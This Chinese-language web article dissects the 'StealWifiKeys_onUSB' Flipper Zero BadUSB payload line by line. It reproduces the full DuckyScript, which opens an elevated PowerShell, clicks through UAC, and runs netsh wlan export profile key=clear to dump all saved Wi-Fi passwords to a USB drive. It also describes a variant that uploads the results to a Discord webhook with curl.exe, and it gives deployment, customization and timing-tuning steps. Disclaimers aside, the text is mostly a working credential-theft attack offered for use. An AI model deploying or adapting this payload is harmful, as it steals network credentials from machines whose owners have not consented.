ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Flipper Zero BadUSB 实战:StealWifiKeys_onUSB 载荷的 DuckyScript 逐行解析与 Wi-Fi 密钥导出到 U 盘的原理

Flipper Zero BadUSB 实战:StealWifiKeys_onUSB 载荷的 DuckyScript 逐行解析与 Wi-Fi 密钥导出到 U 盘的原理 Flipper Zero BadUSB 实战StealWifiKeys_onUSB 载荷的 DuckyScript 逐行解析与 Wi-Fi 密钥导出到 U 盘的原理【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper本文基于 Flipper Zero 资源仓库中 UNC0V3R3D-BadUSB-Collection 的 Windows_Badusb/PasswordStuff 目录完整解读StealWifiKeys_onUSB载荷它利用 DuckyScript 模拟键鼠在目标 Windows 主机上以管理员权限运行 PowerShell调用netsh wlan export profile keyclear导出全部已保存的 Wi-Fi 密码并将结果文件直接写入连接到目标机的另一块 USB 存储设备。读完本文你将掌握该载荷的完整执行链路、每一行 DuckyScript 指令的作用、PowerShell 单行命令的拆解方式以及同系列两个变体本地存档、Discord Webhook 外传的差异还能获得部署到 Flipper、修改目标路径和排查常见失败的实操方法。载荷定位与文档说明StealWifiKeys_onUSB位于仓库的 PasswordStuff 目录下由两部分文件组成readme.md作者对该脚本的使用说明StealWifiKeys_onUSB.txt实际在 Flipper BadUSB 模式下执行的 DuckyScript 载荷。原 readme 给出的功能定义与使用要点如下本文在此骨架上逐层展开功能Featuresopen powershell打开 PowerShellgrab wifi keys抓取 Wi-Fi 密钥store keys to a file on a usb device把密钥存到 U 盘上的文件中。使用前提How to use作者明确声明 “This script is not plug and play and only for experienced users”该脚本即插即用性差仅限有经验的用户。唯一必须修改的配置是第 20 行 PowerShell 命令末尾的落盘占位符——-DestinationPath File path on USB device here需要替换为目标机上 U 盘设备的真实路径例如E:\或E:\results.zip。整个 UNC0V3R3D-BadUSB-Collection 在 README 中声明 “This project is for educational purposes only”仅用于教育目的并要求运行前取得目标系统所有者的许可作者同时建议 “use a virtual machine”使用虚拟机来测试脚本以避免在个人电脑上产生破坏。本文以下内容均以教育研究为目的请在合法授权的环境中自有设备、测试虚拟机、CTF/红蓝对抗演练使用。部署流程从仓库到 Flipper SD 卡集合 README 给出的官方部署步骤是克隆或下载本仓库若需从 git 获取仓库地址为 https://gitcode.com/GitHub_Trending/fl/Flipper使用 qFlipper 桌面应用Flipper 官方工具通过 USB 连接 Flipper进入SD Card分区把.txt载荷文件拖入badusb目录在手机端则使用 Flipper Zero 移动端应用通过蓝牙完成同样的文件传输在 Flipper 上进入 BadUSB 分类选中脚本按中间键开始屏幕提示后将 Flipper 通过 USB 线插入目标 PC。需要说明的是.txt文件本身是纯文本格式的 DuckyScript可以随意用文本编辑器打开查看与修改但保存后必须保持纯文本、无额外空行集合 README 的 Troubleshooting 一节指出命令之间的空行会导致 Flipper 报ERROR: line N一类错误。DuckyScript 逐行解析从唤醒桌面到提权下面是 StealWifiKeys_onUSB.txt 的完整内容与逐行解释。前 4 行是以REM开头的 DuckyScript 注释集合 README 特别提到 “In BadUSB scripts, you will most likely find comments every few lines, that start with the command REM”这些注释通常是理解脚本的最快途径REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) REM Description: Steals all of the saved Wifi Passwords and stores them into a USB device of your choice. REM Version: 1.0 REM Category: Passwords DELAY 750 WINDOWS d DELAY 1000 WINDOWS r DELAY 900 STRING powershell Start-Process powershell -Verb runAs ENTER DELAY 750 LEFTARROW ENTER DELAY 900 ALT y DELAY 900 GUI UP DELAY 900 STRING $folderDateTime (get-date).ToString(d-M-y HHmmss);$userDir (Get-ChildItem env:\userprofile).value \Walkuer Ghost Report $folderDateTime;$fileSaveDir New-Item ($userDir) -ItemType Directory;$date get-date;netsh wlan export profile keyclear folder$fileSaveDir;Compress-Archive -Path $fileSaveDir -DestinationPath File path on USB device here ENTER执行链路可以拆成三个阶段。阶段一打开运行对话框第 5–9 行DELAY 750等待 750 毫秒给目标系统留出响应时间。BadUSB 脚本通过 HID 报告模拟按键插入后到桌面完全可接受输入之间存在窗口期首段 DELAY 就是用来吸收这段不确定性的。WINDOWS d按住 Win 键并释放输入d。这里的WINDOWS是 DuckyScript 中的 Win 键别名WINDOWS d即 “Wind”用于把焦点拉回桌面显示桌面避免后续输入落在某个前台应用的文本框里。DELAY 1000等待 1 秒。WINDOWS r按 WinR弹出 “运行” 对话框。阶段二以管理员身份启动 PowerShell第 10–18 行STRING powershell Start-Process powershell -Verb runAs把整条命令字符串逐字打入运行对话框。Start-Process powershell -Verb runAs会触发 Windows UAC 提权弹出一个管理员 PowerShell 窗口。ENTER执行运行对话框中的命令。DELAY 750/LEFTARROW/ENTER等待 750 毫秒后按一次左方向键再按回车。集合 README 的 Troubleshooting 一节解释了这个模式存在的意义——按键节奏不对时“脚本会把文本打到不该打的地方”加大 DELAY 是标准解法而这里的方向键回车组合从指令结构看是为了在提权提示出现后稳定地重新提交回车UAC 弹窗的焦点时序在不同 Windows 版本上不一致作者用这种冗余输入提高成功率。DELAY 900/ALT yUAC 确认框中按 Alt 激活 “Yes” 按钮并回车即批准提权请求。这是整个载荷中唯一依赖 UAC 界面按键顺序的步骤也是最容易被目标机设置如 “始终拒绝” 策略阻断的点。阶段三执行 PowerShell 单行命令并落盘到 U 盘第 18–21 行GUI UP按 WinUp最大化当前窗口。从源码结构看这一步的作用是把刚打开的管理员 PowerShell 窗口最大化到前台确保接下来STRING输入的整条长命令不会落入后台窗口。DELAY 900/STRING ...输入下面这条 PowerShell 单行命令见下节详解随后ENTER执行。PowerShell 单行命令拆解第 20 行打入 PowerShell 的是一条以分号串联的 6 段命令完整原文为$folderDateTime (get-date).ToString(d-M-y HHmmss); $userDir (Get-ChildItem env:\userprofile).value \Walkuer Ghost Report $folderDateTime; $fileSaveDir New-Item ($userDir) -ItemType Directory; $date get-date; netsh wlan export profile keyclear folder$fileSaveDir; Compress-Archive -Path $fileSaveDir -DestinationPath File path on USB device here逐段说明$folderDateTime (get-date).ToString(d-M-y HHmmss)取当前时间并格式化为日-月-年 时分秒字符串作为目录名的时间戳。$userDir (Get-ChildItem env:\userprofile).value \Walkuer Ghost Report $folderDateTime读取USERPROFILE环境变量得到当前登录用户的主目录拼接出一个伪装目录名Walkuer Ghost Report 时间戳再拼成完整路径。这个带时间戳的、名字看似正常的临时目录用于暂存导出结果是典型的降低被察觉概率的命名手法。$fileSaveDir New-Item ($userDir) -ItemType Directory创建上述目录。$date get-date再次取当前时间。该变量在后续命令中并未被引用从源码结构看属于作者调试遗留的冗余语句。netsh wlan export profile keyclear folder$fileSaveDir这是载荷的核心。netsh wlan export profile会把 WLAN AutoConfig 服务中缓存的所有已保存 Wi-Fi 配置文件逐个导出为 XML 文件到指定目录keyclear参数指定导出时解密并写入明文密码若不指定密码字段保持空值。每条 SSID 对应一个 XML 文件其中protectedkeyMaterial元素即明文预共享密钥。执行此命令需要管理员权限这也是前文要提权启动 PowerShell 的原因。Compress-Archive -Path $fileSaveDir -DestinationPath File path on USB device here把导出目录打包成 zip写入目标机上的 USB 存储设备。这就是原 readme 要求用户唯一必须修改的位置——把占位文本File path on USB device here换成目标机上 U 盘的实际路径如E:\wifi_keys.zip。注意该命令在管理员 PowerShell 中直接执行、无需引号包裹路径但如果替换后的路径含空格如E:\My Drive\...实际使用时需要给路径加上双引号否则Compress-Archive会因参数被截断而报错。载荷行为特征小结全程无文件落地到目标系统磁盘zip 直接写入 U 盘中间只产生一个用户目录下的临时文件夹通过 UAC 提权、创建带时间戳的临时目录、把结果打包外送行为链条完整没有任何网络外传逻辑——这与同目录的 Discord 变体见下文形成对照。同系列三个变体的差异对比PasswordStuff 目录下有三个 Wi-Fi 密钥类脚本前 19 行 DuckyScript 骨架完全一致唤醒桌面 → WinR → 提权 PowerShell → 批准 UAC差异只在最后一行 PowerShell 的落盘/外传方式脚本结果去向需修改的占位符StealWifiKeys_onUSB本文主角打包写入目标机上插入的 U 盘-DestinationPath File path on USB device hereStealWifiKeys打包写入目标机本地磁盘C:\-DestinationPath C:PUT PATH HERE\ResultsPassword.zip末尾追加; exit关闭 PowerShell 窗口StealWifiKeys_Discord先打包到c:\results-74935290.zip再用curl.exe -F file1c:\results-74935290.zip $hookurl上传到 Discord WebhookWebhook 占位符DISCORD WEBHOOK URL三者共用的核心命令都是netsh wlan export profile keyclearonUSB 变体的特点在于结果随物理介质离开目标机把 U 盘从目标机拔走即可不依赖目标机联网也不在本机留下 zip 文件。Discord 变体则多了一段Invoke-RestMethod发送带$env:username的 JSON 消息和curl.exe -F上传附件属于网络外传路径。实操清单与常见故障排查使用前的修改步骤对应原 readme 的 How to use用文本编辑器打开 StealWifiKeys_onUSB.txt确认目标机上 U 盘的盘符例如E把第 20 行末尾的File path on USB device here替换为该路径若路径含空格为替换后的完整路径补上双引号保存为纯文本无 BOM 问题、无多余空行通过 qFlipper 放入 Flipper SD 卡badusb目录。集合 README 中两条关键排错经验UNC0V3R3D-BadUSB-Collection README 的 Troubleshooting 一节给出了对本文载荷直接适用的两条经验按键错位/文本打错位置原因是DELAY时间太短。例如把DELAY 500提高到DELAY 700。对本文脚本第 10–17 行之间的各段 DELAY750/900/1000 毫秒量级就是主要调节对象Flipper 报ERROR: line N最常见原因是命令之间存在空行其次是LOCALE命令在 Flipper 上不可用、或行首存在多余空格。修改脚本后务必逐行检查空行。测试建议按作者 README 的告诫不要在个人电脑上直接运行在 Windows 虚拟机中预先保存若干 Wi-Fi 配置或用一个虚拟网卡/宿主 WLAN插入 Flipper 执行脚本后到用户目录检查Walkuer Ghost Report *文件夹中生成的 XML 文件确认keyMaterial内出现明文密码即验证成功。法律与伦理边界再次强调仓库与作者的双重限定集合 README 的 Usage Agreement 第 1 条明确 “UNC0V3R3D is not responsible for your actions or any damage you may cause as a result of using the scripts”作者不对使用者行为与后果负责并要求 “Please seek permission before running any of the scripts”原 readme 将脚本限定为 “only for experienced users”仅限有经验用户未经授权在他人设备上提取存储的 Wi-Fi 凭据在多数司法辖区可能构成未授权访问请勿用于任何非授权场景。本仓库中的脚本应仅用于自有设备、教学实验、获授权的渗透测试与红蓝对抗演练。该集合按 Creative Commons BY-NC-SA 4.0 协议分发见 license.md二次分发时需保留署名并遵循相同许可条款。小结StealWifiKeys_onUSB是一个结构清晰的 BadUSB 教学级载荷Wind/WinR 唤起运行框、Start-Process ... -Verb runAs触发 UAC 提权、ALT y批准最后一条由 6 段分号串联的 PowerShell 单行命令完成 “建带时间戳的临时目录 →netsh wlan export profile keyclear明文导出全部 Wi-Fi 配置 →Compress-Archive打包直写 U 盘” 的完整链条。读懂它意味着掌握了此类载荷的通用范式DuckyScript 负责可靠地驱动 GUI 时序PowerShell 负责在目标系统内完成真正的数据操作而结果的去向本地磁盘、U 盘、Webhook只是最后一行的差异。对照仓库中 StealWifiKeys 与 StealWifiKeys_Discord 两个变体可以进一步理解落盘策略与外传策略的取舍以及 DELAY 时序调参这一 BadUSB 脚本调试中最核心的技能。【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表